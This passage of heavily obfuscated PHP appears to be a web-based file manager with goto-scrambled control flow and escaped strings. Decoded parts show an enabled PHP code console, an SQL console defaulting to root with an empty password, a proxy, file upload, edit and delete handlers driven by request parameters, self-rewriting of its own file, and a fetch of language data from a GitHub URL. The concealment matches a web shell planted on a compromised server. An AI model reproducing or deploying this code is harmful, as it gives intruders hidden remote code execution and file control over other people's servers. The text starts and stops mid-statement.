x73\160\154\x61\171\x47\x72\151\x64\154\x69\x6e\x65\x73\x3e\x3c\57\170\72\127\x6f\x72\x6b\x73\150\145\145\x74\x4f\x70\x74\151\157\156\163\x3e\x3c\x2f\x78\72\x45\170\x63\145\154\x57\157\162\153\x73\150\x65\x65\164\76\74\x2f\x78\x3a\105\170\x63\x65\x6c\127\157\162\x6b\x73\x68\x65\x65\x74\x73\76\74\x2f\x78\72\105\x78\143\145\154\127\x6f\162\153\x62\157\157\153\76\x3c\x2f\x78\155\x6c\76\x3c\41\x5b\145\x6e\144\151\x66\135\x2d\55\76\x3c\x6d\x65\x74\x61\x20\x68\164\164\x70\x2d\x65\x71\165\151\166\x3d\x22\x63\157\156\x74\x65\156\164\x2d\x74\x79\160\x65\42\x20\143\157\156\x74\x65\156\x74\x3d\x22\x74\145\170\x74\x2f\x70\x6c\x61\x69\156\x3b\40\x63\x68\x61\162\x73\145\x74\75\x55\x54\x46\x2d\70\42\x2f\76\74\57\x68\x65\x61\x64\x3e\x3c\142\x6f\x64\171\76\74\x74\x61\142\154\145\x3e\173\x74\141\142\154\145\175\74\57\x74\x61\x62\x6c\145\76\74\x2f\x62\x6f\144\171\x3e\74\57\150\164\x6d\154\x3e\x27\54\15\xa\15\xa\40\40\x20\x20\x66\x6f\162\155\x61\164\40\75\40\x66\165\x6e\x63\x74\x69\157\156\x28\163\x2c\40\143\51\40\x7b\15\xa\15\xa\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\162\x65\x74\x75\162\156\x20\x73\x2e\x72\x65\x70\x6c\x61\x63\145\50\57\x7b\x28\x5c\x77\x2b\51\x7d\x2f\x67\x2c\40\146\x75\x6e\143\164\x69\157\156\x28\x6d\x2c\40\160\x29\x20\x7b\15\12\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\40\15\xa\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\x72\x65\164\x75\162\156\x20\x63\x5b\160\x5d\73\xd\xa\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\175\51\xd\xa\xd\12\x20\x20\40\40\40\40\40\x20\x7d\xd\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\40\xd\xa\40\40\40\40\162\x65\x74\x75\162\156\40\146\165\x6e\x63\x74\151\157\x6e\50\x74\141\142\x6c\145\54\x20\156\x61\x6d\x65\x29\40\173\xd\12\xd\12\40\x20\40\40\40\40\x20\x20\x69\x66\40\x28\41\164\x61\142\154\x65\56\x6e\157\144\x65\x54\x79\x70\x65\x29\40\164\x61\x62\154\145\x20\x3d\40\x64\x6f\x63\x75\155\x65\x6e\x74\56\x67\x65\164\x45\x6c\145\155\145\x6e\x74\102\x79\111\x64\50\x74\141\x62\x6c\145\x29\xd\xa\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\xd\12\40\x20\x20\x20\x20\40\x20\x20\166\x61\x72\x20\x63\x74\170\40\x3d\40\173\15\12\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\xd\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x77\157\162\x6b\163\x68\x65\145\x74\x3a\40\156\x61\x6d\x65\x20\x7c\174\40\47\x57\157\162\x6b\x73\150\145\x65\x74\x27\x2c\xd\xa\15\xa\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\164\x61\142\154\x65\72\x20\x74\141\142\154\x65\56\151\x6e\156\145\162\x48\x54\115\114\56\x72\x65\160\154\x61\x63\145\50\x2f\x3c\x73\160\141\156\x28\56\x2a\77\x29\134\x2f\163\160\141\156\x3e\40\57\x67\54\x22\x22\x29\56\x72\145\160\154\141\143\x65\x28\57\x3c\141\134\142\133\x5e\76\135\x2a\x3e\50\x2e\x2a\77\51\74\x5c\57\141\76\x2f\x67\x2c\42\x24\61\42\51\xd\xa\x20\40\40\x20\x20\40\x20\x20\175\xd\12\11\x9\x20\x20\x20\40\x20\40\40\40\x20\x74\40\75\40\156\x65\167\40\104\141\x74\145\x28\x29\x3b\xd\xa\11\x9\40\x20\x20\x20\40\x20\x20\40\x20\146\151\x6c\145\x6e\141\x6d\145\40\75\x20\47\146\155\137\x27\40\x2b\40\x74\x2e\164\157\x49\x53\x4f\x53\164\x72\151\156\147\50\x29\40\53\x20\47\56\x78\154\163\47\xd\xa\15\12\11\x9\40\x20\40\x20\x20\x20\40\x20\40\x64\157\x77\156\x6c\157\x61\x64\137\170\x6c\163\x28\x66\151\154\145\x6e\141\155\x65\54\x20\x62\x61\x73\x65\x36\64\137\145\x6e\x63\157\144\x65\x28\146\157\162\155\141\x74\x28\164\x65\x6d\x70\154\141\x74\x65\54\40\143\x74\x78\51\51\51\15\xa\15\xa\x20\x20\x20\40\x7d\15\xa\15\12\x7d\x29\50\51\73\15\xa\15\12\15\12\x76\141\x72\x20\x74\x61\x62\154\145\62\105\170\x63\145\154\x20\x3d\x20\146\x75\x6e\x63\164\151\x6f\x6e\x20\50\x29\x20\x7b\15\12\15\12\15\12\40\x20\x20\40\166\x61\x72\40\165\141\x20\75\40\x77\x69\156\144\157\167\56\x6e\x61\x76\x69\147\x61\164\157\x72\x2e\x75\x73\x65\x72\101\147\x65\x6e\164\x3b\xd\xa\x20\40\40\x20\x76\141\x72\x20\155\x73\151\x65\x20\75\x20\165\141\x2e\x69\156\x64\x65\x78\x4f\146\x28\42\x4d\123\x49\105\x20\x22\51\73\15\xa\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\xd\12\xd\12\x9\x74\150\x69\163\56\x43\x72\x65\141\x74\x65\x45\x78\x63\145\x6c\x53\150\145\145\164\x20\x3d\x20\15\xa\15\12\x9\11\x20\x20\40\x20\40\x20\x20\x20\x20\x66\165\156\143\164\151\157\x6e\x28\x65\x6c\x2c\40\x6e\141\155\x65\51\173\xd\12\x9\x9\40\x20\x20\40\40\x20\40\x20\40\11\151\146\x20\x28\155\163\151\x65\x20\x3e\40\60\x20\x7c\174\x20\41\x21\x6e\141\166\x69\147\x61\164\x6f\162\x2e\x75\x73\145\x72\x41\x67\x65\156\x74\x2e\x6d\141\164\x63\x68\50\57\124\x72\151\144\x65\156\164\x2e\52\162\166\x5c\72\x31\61\x5c\x2e\x2f\51\51\40\x7b\x2f\x2f\40\111\x66\x20\111\x6e\164\x65\162\x6e\x65\164\x20\x45\170\x70\x6c\x6f\x72\x65\162\15\12\xd\12\xd\12\xd\12\x9\x9\40\40\40\40\x20\40\x20\x20\40\x9\11\x20\40\x20\x20\x20\40\x20\x20\x20\x76\x61\x72\x20\x78\40\75\x20\x64\x6f\143\x75\155\145\156\164\x2e\147\x65\x74\x45\154\145\155\145\x6e\164\102\x79\x49\x64\50\145\154\x29\56\x72\x6f\167\x73\73\xd\12\15\12\15\xa\xd\xa\11\x9\x20\40\40\40\x20\40\40\40\40\x9\x9\40\40\x20\40\40\x20\x20\40\x20\x76\x61\x72\x20\170\x6c\163\40\x3d\x20\156\x65\x77\x20\x41\x63\164\151\166\145\130\117\x62\x6a\x65\143\x74\x28\42\105\x78\x63\145\154\x2e\x41\160\x70\154\151\143\141\x74\151\x6f\x6e\x22\x29\73\15\xa\xd\xa\xd\xa\xd\xa\x9\x9\40\x20\x20\40\40\x20\x20\40\40\x9\11\40\x20\40\40\40\40\40\x20\x20\x78\x6c\163\x2e\166\151\x73\151\142\154\145\40\75\40\164\x72\165\145\x3b\15\12\x9\x9\40\40\x20\40\x20\x20\40\x20\x20\11\x9\40\x20\40\40\40\40\40\40\40\170\154\x73\x2e\127\x6f\162\x6b\142\x6f\x6f\x6b\163\56\101\144\x64\xd\12\x9\x9\x20\x20\x20\x20\x20\40\40\40\40\x9\11\40\x20\x20\40\x20\40\x20\40\x20\x66\157\162\x20\x28\x69\40\75\40\x30\73\x20\x69\40\x3c\40\x78\56\154\145\x6e\147\x74\x68\73\x20\x69\x2b\x2b\51\40\173\xd\xa\15\xa\11\11\x20\x20\40\x20\x20\x20\40\40\x20\11\11\x20\40\x20\x20\40\x20\40\x20\x20\x9\166\141\x72\x20\171\x20\75\x20\170\x5b\x69\x5d\56\143\x65\154\154\x73\73\xd\xa\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\xd\xa\15\xa\15\xa\x9\11\x20\x20\40\x20\x20\x20\40\40\40\11\x9\x20\x20\x20\x20\x20\x20\40\x20\40\x9\x66\157\162\x20\x28\x6a\x20\75\40\x30\73\40\152\40\x3c\x20\x79\56\154\x65\156\x67\x74\150\73\40\152\53\53\51\x20\x7b\15\xa\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\xd\xa\11\x9\40\40\40\x20\x20\x20\40\40\40\x9\x9\40\40\40\x20\x20\x20\40\x20\x20\x9\x9\x20\40\x20\x20\x20\40\x20\40\40\170\154\163\56\x43\145\154\x6c\163\50\151\x20\x2b\40\x31\54\x20\x6a\40\x2b\40\61\51\56\126\x61\x6c\x75\x65\x20\x3d\x20\x79\x5b\x6a\135\56\151\x6e\x6e\145\162\124\145\x78\164\x3b\15\12\x9\x9\x20\x20\40\x20\40\40\x20\40\x20\x9\11\x20\40\40\40\40\x20\40\x20\40\x9\175\15\xa\11\11\x20\x20\x20\40\40\x20\40\40\x20\x9\x9\x20\40\40\x20\40\x20\40\x20\x20\x7d\15\12\40\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\15\12\x9\11\40\x20\x20\40\40\x20\40\40\40\x9\x9\40\x20\40\x20\40\40\40\40\x20\x78\x6c\x73\x2e\x56\x69\163\x69\142\154\x65\x20\75\40\164\162\165\x65\73\xd\xa\11\x9\40\40\40\x20\x20\x20\40\40\x20\x9\11\40\x20\x20\x20\40\40\x20\x20\x20\170\x6c\x73\56\x55\x73\145\162\103\157\156\164\162\x6f\154\40\75\40\x74\162\165\x65\x3b\15\12\15\12\11\15\xa\x20\40\40\x20\15\12\40\x20\x20\40\x9\x20\x20\x20\40\x20\x20\x20\40\40\x9\x9\x20\40\40\x20\40\x20\x20\x20\40\162\145\x74\165\162\x6e\x20\170\154\163\x3b\15\12\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\15\12\x9\11\x20\x20\x20\x20\x20\x20\x20\x20\40\x9\175\x20\145\x6c\163\x65\40\173\15\12\15\xa\x9\x9\x20\x20\x20\40\x20\x20\x20\40\40\x9\11\40\x20\40\40\x20\40\40\40\40\x74\x61\142\x6c\145\124\157\105\x78\x63\145\154\104\141\164\141\50\x65\x6c\54\x20\156\x61\x6d\145\x29\73\15\12\xd\xa\x9\x9\x20\x20\40\40\x20\x20\40\40\x20\x9\x7d\xd\12\xd\12\11\x9\x20\x20\40\40\40\x20\x20\40\40\x7d\xd\12\xd\12\x7d\15\xa\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\15\xa\x3c\x2f\163\x63\162\151\160\x74\76\xd\12\15\xa\x3c\x2f\142\x6f\x64\x79\76\xd\12\xd\xa\x3c\57\150\x74\x6d\x6c\x3e\15\12\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\40\40\40\xd\xa\15\xa\xd\xa"; goto GNuhh; P0b86: if (!file_put_contents(__FILE__, $b0bjX)) { goto EU8LZ; } goto pYyka; mmD5H: goto dYLK2; goto mPejG; OKZ5b: goto NfEdQ; goto Bt2v6; cP001: goto Qx_8p; goto rAT9L; ppEhK: $kSmbA = preg_replace("\x25\50\x3c\142\157\144\171\x2e\52\77\76\x29\45\x69", "\x24\x31" . "\x3c\x73\164\x79\154\145\x3e" . SwkCL() . "\x3c\57\163\164\x79\154\145\x3e" . $GpXQq, $kSmbA); goto fDY7D; gmo1J: aXrrp: goto ijacK; hMaIV: GwuCZ: goto lVDk_; hGz1C: goto voaug; goto QM1Jt; S7FDk: goto hG_tm; goto qWOUw; OgufA: XFSIi: goto EyDny; I1jrr: goto Vtf3D; goto e5Chq; WWyEn: goto Aoyg_; goto XV0Se; Phl4Y: BvzYd: goto JZzYJ; lGQYi: goto vN4UT; goto gQLCs; UlF7t: goto FvOBD; goto vCa8d; jF_Pt: goto Ghf7f; goto hMaIV; XRAOB: echo "\42\76\15\xa\15\12\40\x20\x20\40\40\x20\40\x20\40\40\x20\x20\74\x69\156\160\x75\x74\40\164\x79\160\x65\x3d\x22\x73\165\142\x6d\x69\x74\42\x20\156\141\x6d\x65\x3d\x22\143\141\156\143\145\x6c\x22\40\166\x61\154\165\x65\75\42"; goto OIxos; idHxu: FRtzC: goto rtu1W; Djz1H: QJaLr: goto zQmO5; AhGC6: if (!isset($_POST["\164\160\x6c\x5f\145\x64\151\x74\x65\144"])) { goto lqwYY; } goto ihm3l; iGkg_: qd3BJ: goto Zdpq6; igSNs: goto fluN7; goto bm6sM; Y6sRc: rDK6s: goto bjHaQ; I2qZb: goto GppV6; goto h_DUw; NMM5L: Lh75s: goto W2FiS; bbFgi: goto n7diu; goto HnYQu; wZfQY: MWchV: goto Je8OM; LwC_u: goto Xa1Pu; goto hM5VM; awIfY: if (!($_GET["\145\144\x69\164"] == basename(__FILE__))) { goto Dzv6u; } goto jH0et; YV2hz: goto zo65i; goto DlOzj; K2fV9: if (isset($_GET["\x66\x6d\137\163\145\164\164\151\156\147\x73"])) { goto EwCrU; } goto N_f5k; AfQm_: if (!(!empty($_REQUEST["\x72\x65\156\141\155\145"]) && $_REQUEST["\162\145\x6e\141\155\145"] != "\56")) { goto hWmMA; } goto t5Nv3; vjr0y: echo jnGIj("\106\151\x6c\x65\40\155\x61\x6e\x61\147\x65\x72") . "\x20\x2d\x20" . $VLMCB; goto sKx8t; o5pFW: mQtS4: goto lytwG; Z02SB: unset($W5Q_F); goto bFaAS; mzjmF: goto G6J6s; goto tuSTZ; cYM3l: goto jGlcu; goto Hnh0C; HIdiK: goto swzMn; goto PbBZe; rd1bJ: QtwIH: goto DzNov; s8bwr: goto tE_L3; goto Px0wh; xoYt0: irEWb: goto qjhQv; KQoTK: echo jNGiJ("\106\151\154\x65\40\155\141\156\x61\147\x65\x72") . "\x20\55\40" . $VLMCB; goto K7qH_; mXGUg: goto y7G7D; goto eygwV; niGwt: goto cO__B; goto D8SJc; TaVOT: nKyJE: goto LdBPv; kHqLS: goto j3ZA5; goto X6NBT; QlWQ7: n3Uw5: goto c1P63; DEbm6: Mpz5F: goto yg1n3; plxYm: goto nY25z; goto VKSpE; Yx70x: goto LpVqs; goto GAzQ9; kg4a2: goto GQOD3; goto wX7fc; fOZ3S: echo "\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\xd\xa\40\40\40\x20\x20\x20\40\40\40\40\x20\40\74\x69\156\160\165\x74\40\x74\x79\x70\145\x3d\x22\x63\x68\x65\x63\x6b\x62\157\170\x22\40\x6e\141\x6d\x65\75\x22\x72\x65\143\x75\x72\163\151\166\145\154\171\x22\x20\166\x61\x6c\x75\145\x3d\42\x31\x22\76\40"; goto XOjW3; WNFmv: MiPfB: goto yDVz_; oY9Gk: $W5Q_F = new PharData($e2Q0i); goto WWyEn; aeftU: wCQFe: goto UzyAn; fz1tB: echo "\x3c\142\x72\x2f\x3e\15\xa\15\12\x20\x20\x20\x20\40\x20\x20\x20"; goto vbtwI; VRrS9: $PHgnI = empty($_COOKIE["\146\x6d\137\154\x61\x6e\x67"]) ? $PHgnI : $_COOKIE["\146\155\x5f\x6c\x61\156\147"]; goto Qo9QD; Xxlxj: UYqQh: goto flUfO; Y_bWG: UIGPR: goto XP3qp; fevHn: osQTR: goto jgIOH; CajNV: ZODm0: goto vUA8X; Xp3cD: if (empty($Wvxq6)) { goto SBqKl; } goto TBvI2; qeji7: goto eCH9r; goto NpB1i; o6jF4: goto if1zS; goto aa9pd; fEKOI: goto wgugX; goto A1FwK; B2MEe: echo "\x20\x7c\x20\x3c\x61\x20\150\x72\x65\x66\x3d\x22\x3f\x66\x6d\137\x73\x65\164\x74\151\x6e\147\x73\75\164\162\165\x65\42\76" . jNGiJ("\x53\x65\x74\164\x69\156\147\163") . "\74\x2f\141\76"; goto lQQiG; Wtm_t: goto boyy0; goto zyu5D; IdLUJ: yJu0f: goto Lvsdg; wbFw4: k_U0_: goto FDpJi; z9RLs: gO1c6: goto TFou7; KK5Q6: CS_Mp: goto KE8IH; NiCCk: goto YIOTm; goto M41Td; unlpd: KB93T: goto wNXUq; Wysem: echo $mbeto; goto NsH4O; Ex3sc: echo "\42\x20\x2f\76\xd\xa\15\xa\11\11\40\40\40\x20\x20\40\40\x20\x20\x9\74\57\146\157\x72\x6d\x3e\xd\12\15\xa\11\x9\x20\40\x20\40\40\40\x20\x20\x20"; goto bkK6R; ejLDN: echo $p9djE; goto u06Eo; dIPdU: echo jNGIJ("\122\151\x67\150\x74\x73") . "\x20\x2d\40" . $_REQUEST["\x72\151\x67\150\x74\x73"]; goto M8n2p; lVQeq: bw07I: goto OLx0x; f3Y5W: aX1hO: goto bq4W6; jgIOH: echo JNGiJ("\102\141\143\x6b"); goto t8zk4; jH0et: goto pecnh; goto JuYqO; n1Lct: goto L5rTF; goto A3B0w; SI1nx: lqvvp: goto SFUoS; WEfEi: goto fNUDR; goto eIvpq; mJAa9: iGS4x: goto mR2LB; E7OWi: goto IvLjp; goto DEbm6; mPejG: dRwU7: goto s_MKa; TbarV: TDiRT: goto MzHJq; c1P63: curl_setopt($N2qJa, CURLOPT_USERAGENT, "\104\x65\x6e\61\170\170\170\x20\164\145\x73\x74\40\x70\162\x6f\170\x79"); goto tzZyu; ZEoAr: goto oa9hA; goto wAeqq; rZ4m1: goto tDqjM; goto YKZnA; brjF2: igiuM: goto K19nc; lBq4j: echo $Ga3rH . "\46\x70\x61\x74\150\75" . $VLMCB; goto stmxZ; C8I69: D5WVG: goto B9Fgp; BubWR: phoT5: goto mKz36; S9OIK: $O10i3 .= JNGIJ("\105\x72\x72\157\x72\40\157\143\x63\x75\162\x72\x65\x64"); goto ewyth; OJpip: goto Tzvfy; goto sLMjo; Jmlpf: goto imxC3; goto TxemP; zL7QW: up3LN: goto bKtVu; y2H3M: JYrCO: goto cinCg; xTtRk: goto Mge9j; goto hCjzt; tufyj: goto BHBbG; goto HxuK6; knbA4: gT7Jq: goto wEKmz; nJmVu: goto Hc1mR; goto ljP5N; Cc5Gf: header("\114\x6f\143\141\164\x69\x6f\x6e\x3a\40" . Euumg() . $_SERVER["\x52\x45\121\125\x45\x53\124\x5f\x55\x52\x49"]); goto pM4Rv; V30Y6: goto NH4xJ; goto bgDad; iW3ZI: echo $mbeto; goto ravmY; bzb4Z: goto C1nO3; goto FPBXo; hbsKt: $ftdA2 = array("\155\x61\x6b\x65\137\144\151\162\x65\143\x74\x6f\162\x79" => true, "\156\145\x77\x5f\146\151\x6c\x65" => true, "\165\x70\154\157\141\x64\x5f\x6d\171\x66\x69\154\x65" => true, "\x73\150\157\167\137\x64\x69\162\137\163\x69\172\x65" => false, "\x73\150\157\x77\137\x69\155\147" => true, "\x73\x68\157\x77\137\160\150\160\x5f\166\x65\162" => true, "\x73\x68\x6f\167\137\x70\x68\x70\137\151\x6e\151" => false, "\x73\x68\157\167\137\147\164" => true, "\x65\x6e\141\142\x6c\x65\137\x70\x68\x70\137\x63\157\x6e\x73\157\x6c\145" => true, "\145\x6e\141\142\154\145\x5f\163\161\x6c\x5f\143\x6f\x6e\x73\x6f\154\x65" => true, "\163\161\x6c\137\x73\x65\x72\x76\x65\162" => "\x6c\157\x63\141\154\x68\x6f\x73\164", "\x73\161\154\137\x75\163\x65\x72\156\141\155\145" => "\x72\x6f\x6f\164", "\x73\x71\x6c\x5f\x70\x61\163\163\167\x6f\x72\144" => '', "\163\161\154\137\x64\142" => "\164\145\163\x74\x5f\142\x61\x73\x65", "\145\x6e\141\142\154\x65\137\x70\162\157\x78\171" => true, "\x73\x68\157\x77\137\x70\150\x70\x69\156\146\x6f" => true, "\x73\x68\157\x77\137\x78\154\163" => true, "\146\x6d\137\163\x65\164\164\151\156\147\x73" => true, "\162\x65\163\164\x6f\x72\x65\x5f\164\x69\155\x65" => true, "\146\x6d\x5f\162\145\x73\164\157\x72\x65\x5f\x74\x69\x6d\145" => false); goto MO85E; HTcKP: echo jNgiJ("\x46\x69\x6c\145\x20\x6d\x61\156\x61\x67\145\x72") . "\40\x2d\x20" . jNGij("\105\144\x69\164") . "\40\55\x20" . $VLMCB . $_REQUEST["\x65\x64\151\x74"]; goto pLQQr; DFL8M: echo "\x3c\x2f\x61\x3e\15\12\x9\11\x20\40\x20\40\40\x20\40\40\40\x3c\x66\x6f\x72\155\x20\141\x63\x74\151\157\x6e\75\x22\42\40\155\x65\x74\x68\157\x64\75\x22\x50\x4f\123\124\42\x20\x6e\x61\x6d\x65\75\x22\143\157\x6e\163\157\154\145\42\x3e\xd\xa\xd\xa\11\x9\40\40\40\x20\40\x20\40\40\x20\74\164\145\170\x74\141\162\145\141\40\x6e\141\x6d\145\x3d\42"; goto ifGbK; sDduN: echo "\xd\12\11\x9\x20\40\x20\x20\40\x20\x20\x20\x20\74\57\x74\144\76\15\12\15\xa\x9\x9\x20\x20\x20\x20\x20\40\40\40\x20\x3c\x74\x64\x3e\15\xa\x9\x9\40\x20\40\40\40\40\40\40\x20"; goto GvCeT; W6DKi: goto DiSbA; goto MxMpQ; EVYib: goto qbuIz; goto nwZNh; HxuK6: M3e8P: goto hNPOb; nM7kB: goto ZLoGd; goto bAofe; PdqeQ: goto hG_tm; goto PQB11; DRqg8: goto cKQA0; goto TaVOT; VBKxF: hlEy0: goto DOV0d; Lpy85: $fahGj["\143\x6f\157\x6b\x69\x65\137\x6e\x61\x6d\x65"] = isset($fahGj["\143\x6f\157\153\151\145\137\x6e\x61\x6d\x65"]) ? $fahGj["\x63\157\x6f\153\x69\145\137\156\141\155\x65"] : "\x66\x6d\x5f\165\163\x65\x72"; goto KmZpy; mVijU: goto AESxv; goto g2Yi_; csIol: unset($W5Q_F); goto suWIh; vCa8d: FKtKC: goto ZZ9cn; QRSwE: goto Zlgd6; goto H240H; oaDMZ: goto HDSh1; goto OLN7T; UKw_S: VdG0c: goto kEZHh; vHnsb: $jEVeT = @file_get_contents($VLMCB . $_REQUEST["\x65\x64\x69\164"]); goto FN0iG; CHZ2M: echo "\42\76\15\12\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\40\40\x20\xd\12\x9\x9\x20\40\40\x20\40\x20\40\40\40\x9\x9\x20\x20\40\40\x20\x20\40\40\x20\x3c\x2f\x66\157\162\x6d\x3e\xd\xa\15\12\11\x9\40\x20\x20\x20\40\x20\x20\x20\40\x9"; goto r1ugC; lytwG: $MLp6z .= "\74\x2f\163\145\154\x65\x63\x74\76\xa"; goto kRYxp; iZaJp: echo "\x3c\x2f\164\x64\x3e\74\57\164\x72\x3e\x3c\57\164\141\142\x6c\145\76\x3c\57\x74\144\x3e\xd\xa\74\x2f\164\162\x3e\15\xa\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\xd\xa\x3c\164\162\x3e\15\12\40\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\15\xa\x20\40\x20\40\x3c\x74\x64\x20\x63\x6c\141\163\x73\75\42\162\157\x77\x31\x22\x3e\xd\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\40\40\15\12\11\x9\40\40\x20\40\40\40\x20\40\40\74\141\40\150\162\145\146\x3d\x22"; goto LYsXu; LTlQP: goto Zlgd6; goto GSf6k; dwyH6: goto GZJGb; goto gs_uP; oj9YX: xsgrH: goto PdTSU; o6JmJ: uqyqF: goto GgdKQ; srlNX: goto EqSUI; goto UGEWv; PQ5Wn: mWPEf: goto OxuRk; Q2P_z: goto swJcd; goto MUEPi; lXmzR: goto QsVhW; goto zIPbh; GGrQx: goto DUBKY; goto SOtXZ; W2AA_: goto Nm0pT; goto UB9AT; plQWX: goto r7Ta9; goto PjnWG; QBeGa: goto ZWfIX; goto DyKIB; IEHHk: Clxno: goto hGz1C; djqHD: goto Xvaag; goto n5Mmq; IofND: goto b_fct; goto rE1At; aa95c: echo "\x22\76\xd\12\40\40\40\40\x20\x20\x20\40\74\57\x66\157\162\155\76\xd\xa\15\12\x20\x20\x20\40\74\57\164\x64\76\xd\12\15\xa\x3c\57\164\x72\x3e\xd\12\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\x20\40\15\12\x3c\x2f\164\141\142\154\145\x3e\xd\12\15\xa"; goto Zy5ut; pe9Se: $O10i3 .= JNGiJ("\124\141\163\x6b") . "\x20\42" . JngIJ("\x41\x72\143\x68\x69\166\x69\x6e\147") . "\x20" . $e2Q0i . "\x22\x20" . JNgij("\144\157\x6e\x65") . "\56\46\156\142\163\x70\73" . wj_30("\x64\157\x77\156\154\157\x61\x64", $VLMCB . $e2Q0i, JnGij("\104\x6f\167\156\154\157\141\144"), JNGIJ("\x44\157\167\x6e\x6c\x6f\x61\144") . "\x20" . $e2Q0i) . "\x26\x6e\142\163\x70\73\74\141\40\x68\162\x65\x66\x3d\42" . $Ga3rH . "\x26\144\x65\154\x65\164\x65\75" . $e2Q0i . "\46\x70\x61\164\x68\x3d" . $VLMCB . "\42\40\x74\x69\x74\x6c\145\x3d\42" . JnGIj("\x44\145\154\145\x74\x65") . "\x20" . $e2Q0i . "\x22\40\x3e" . JNgIJ("\x44\145\154\x65\164\145") . "\74\57\141\x3e"; goto wRxyQ; JN6UI: goto tVhra; goto Rac_Z; R_IfX: goto I5jER; goto v9v7f; fhgmY: hG_tm: goto C7zWK; ecSFs: $w1Vbn = isset($_POST[$p9djE . "\137\164\160\154"]) ? $_POST[$p9djE . "\137\x74\x70\154"] : ''; goto xnI7t; iyAYp: echo "\x22\x20\57\x3e\15\xa\x9\x9\40\x20\40\40\x20\x20\x20\40\40\x9\x9\x20\40\40\x20\x20\40\40\40\x20\74\x69\x6e\x70\x75\164\x20\x74\x79\160\145\x3d\x22\164\x65\170\x74\42\40\x70\x6c\x61\x63\x65\x68\157\x6c\x64\145\162\x3d\x22"; goto niwC1; CZ9wv: ifryZ: goto oGlVc; jyN1k: goto nKyJE; goto wBS3P; IZTaa: goto F5JcS; goto ALiNl; nqW3T: goto oEcNN; goto LQC57; wRosP: goto B699t; goto B0ym0; mQNWM: $Ga3rH = "\x3f\x66\x6d\x3d\164\x72\x75\x65"; goto Q2P_z; gjoc9: goto bVJcW; goto kyWKE; OLN7T: ISKi_: goto sX1NK; Lw3KQ: goto BnHKr; goto EFxCs; TGWr2: if (!empty($_FILES["\165\160\x6c\157\x61\144"]["\x6e\141\155\145"])) { goto EmUO5; } goto oFPdm; jGj4s: $fahGj = json_decode($jElBX, true); goto Mi3kj; Yyu_2: goto WLSGv; goto aEfiL; Zdpq6: V43D3: goto bprLP; KUUSa: goto GeT3r; goto LBsRa; vzXO5: k6LzT: goto uu9F5; ssHPq: $gSlwl = file_get_contents("\x68\164\164\160\x73\72\x2f\57\x72\141\167\x2e\x67\x69\164\150\165\142\165\163\145\x72\x63\157\156\164\145\x6e\x74\x2e\143\157\x6d\x2f\x44\x65\x6e\x31\x78\x78\170\57\106\x69\x6c\145\155\x61\156\141\x67\x65\x72\57\155\141\163\x74\x65\162\x2f\154\141\156\x67\165\x61\x67\145\163\x2f" . $PHgnI . "\56\x6a\163\157\156"); goto mmvr1; vWXWE: c_UHA: goto K2B2e; ayaA4: goto z7V4L; goto ti0QB; a0yMz: goto fBMjS; goto WBp6t; ty1pt: T46ME: goto tufyj; nObwa: qw8qg: goto P4cq_; S4MI9: goto OQ15t; goto M9w4p; rUYnM: goto VovkW; goto fevHn; Mpnt1: cGU3Y: goto KQoTK; ffys0: goto VEDIw; goto CY5uJ; qjc_4: goto RLmni; goto EISFQ; pu0YB: oD7aA: goto NU8cR; YLWet: goto isn2V; goto bjKH0; FDpJi: goto THziF; goto fsmwf; kIhsH: LHFx1: goto oh9Vt; Leik6: goto qoiZo; goto VBCP9; PZvPs: OdkYQ: goto x0X7H; bG4U9: echo swKcl(); goto bIlsm; Hs9Uu: HhEH1: goto RyZnb; HmUPT: iHieP: goto IpicF; yq08k: $PcRaw = array_merge($wQzW3, $VDDS6); goto J2d2c; wRcGO: goto Jj_ss; goto dN1PZ; VqTeZ: echo $Ga3rH; goto y20GI; JTtO1: echo 